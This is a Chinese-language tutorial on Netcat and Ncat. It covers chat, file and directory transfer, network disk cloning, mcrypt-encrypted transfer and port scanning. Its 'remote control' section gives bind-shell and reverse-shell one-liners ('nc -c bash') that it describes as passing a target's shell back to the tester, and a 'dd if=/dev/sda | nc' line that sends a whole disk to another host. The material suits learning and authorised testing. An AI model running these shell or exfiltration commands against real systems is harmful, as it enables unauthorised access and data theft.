目录

简介

Netcat 简称 nc。

传输文本信息

Server 使用 -l 监听模式, -p 监听 444 端口

nc -l -p 444

Client 使用 -v 展示详细信息,-n 表示要连接的地址不进行 DNS 反向解析。

nc -nv Address port

任意一方发送字符,对方都能收到,任何一方断开连接整个会话结束。

nc01.jpg
nc02.PNG

电子取证

文件传输

将当前目录下的文件用 | 传给服务端 4343 端口。

nc-quvg01.PNG

服务端监听 4343 端口传过来的信息输出重定向到 ls.txt 文件。

nc-quvg02.PNG

远程克隆硬盘

Client 将 /dev/sda 输出到 1.1.1.1:333 端口。

dd if=/dev/sda | nc -nv 1.1.1.1 333 –q 1

Server 连接到 333 端口,将数据写到 /dev/sda。

nc -lp 333 | dd of=/dev/sda

文件传输

传输文件

Server 监听 333 端口接收 333 端口传过来的文件,输出重定向为 23.txt

nc -lp 333 > 23.txt

Client 连接到 1.1.1.1 333 端口 并把 1.txt 文件传过去,成功延迟 1 秒关闭连接。

nc -nv 1.1.1.1 333 < 1.txt –q 1

下面是另一种用法。

Server 监听本机 333 端口,将333端口作为 a.mp4 文件的输入来源,也就是 a.mp4 将输入重定向到 333 端口。

nc -lp 333 < a.mp4

Client 连接到 1.1.1.1 333 端口后将 333 端口的内容输出重定向到当前文件夹下的 2.mp4 文件中,如果没有这个文件它会自动创建。

nc -nv 1.1.1.1 333 > 2.mp4

传输目录

Server 将目录压缩用管道传到端口 333,-q 是文件传输完成后(EOF)延迟 1 秒退出。

tar -cvf - DirectoryName | nc -lp 333 -q 1

NC-tar01.PNG

Client 连接到指定 IP,客户端接收到数据后用管道传给 tar 进行解压。

nc -nv IPAddress | tar -xvf -

NC-tar02.PNG
NC-tar03.PNG

加密传输文件

Server 监听 333 端口数据用管道传给 mcrypt 解密,输出到 1.mp4 中。

nc -lp 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp4

Client 先将 a.mp4 文件作为输入,输入到 mcrypt 进行加密,利用管道传给 nc,nc 将数据传输到 1.1.1.1:333 主机。

mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc nv 1.1.1.1 333 -q 1

端口扫描

-z 是 Zero-I/O 模式,仅与目标主机端口做 TCP 全连接即 SYN、SYN ACK、ACK。

[root@VM-24-2-centos ~]# nc -nvz  1.1.1.1 80
(UNKNOWN) [203.107.45.167] 80 (http) open

扫描多个端口用短横线隔开,扫描顺序时从高到低。

nc -nvz  1-65535

有时也不一定准,在测试过程中发现 443 会返回连接被重置,但实际时开的。

加个 -u 扫的是 UDP 端口

nc –vnzu 1.1.1.1 1-1024

nc 扫 UDP 逻辑是发送空数据 UDP 包,服务器返回 ICMP 包不可达就证明端口没开,要是没有 ICMP 就认为端口开放,到底返不返回消息完全取决于服务器应用和防火墙,因此误报很高。

远程控制

Server 监听 333 端口,用 -c 把 shell 传过去,-c 是使用 shell。

nc -lp 333 -c bash

nc-control01.png

Client nc 连接到 Server 333 端口,由于服务端把 shell 传过来了,客户端就拥有执行命令的权限,权限多大的具体看用户。

nc 172.28.112.34 333

nc-control02.png

另外还有种用法是客户端监听 333 端口(测试者开放端口等待服务端连接)。

nc -lp 333

攻击者开放端口

服务端连连接 333 端口把自己的 shell 传给客户端。得到目标系统 shell 后可以利用这种方法把目标系统 shell 传给测试者(让服务器主动连接测试者)。

B(server):nc 172.28.112.34 333 -c bash

服务器开放端口

注:如果是 Windows 请把 shell 换成 cmd。

NC 与 NCAT

在前面进行加密传输时是使用的 Linux 系统命令而不是 NC 自带的,NC 它不具备加密功能与身份验证功能。

NC 开放一个端口其他人都可以进行连接,有可能你的辛苦的结果就飞了,而 NCAT(Ncat 包含于 nmap 工具包中)弥补了这方面的功能,使用方法如下。

ncat -c bash --allow 172.28.112.34 -vnl 333 --ssl

监听 333 端口 --ssl 使用 SSL 保证连接过程加密,--allow 只允许 172.28.112.34 连接。-n 不使用 dns 解析,-l 监听端口,-v 显示详细信息。

Client 不使用 DNS 解析,连接到 172.28.112.36 333 端口过程中使用 ssl 加密。

ncat -nv 172.28.112.36 333 --ssl

ncat02.png
ncat01.png

连接成功临时生成哈希指纹用于验证,不管连接正确或错误都会显示 IP 与端口,错误时会服务端拒绝,如下图所示,此时的监听的 IP 是 172.28.112.35 而连过来的客户端主机是 34。

拒绝.png

同样客户端也会收到拒绝提示。

拒绝.png

最近更新:

发布时间:

摆哈儿龙门阵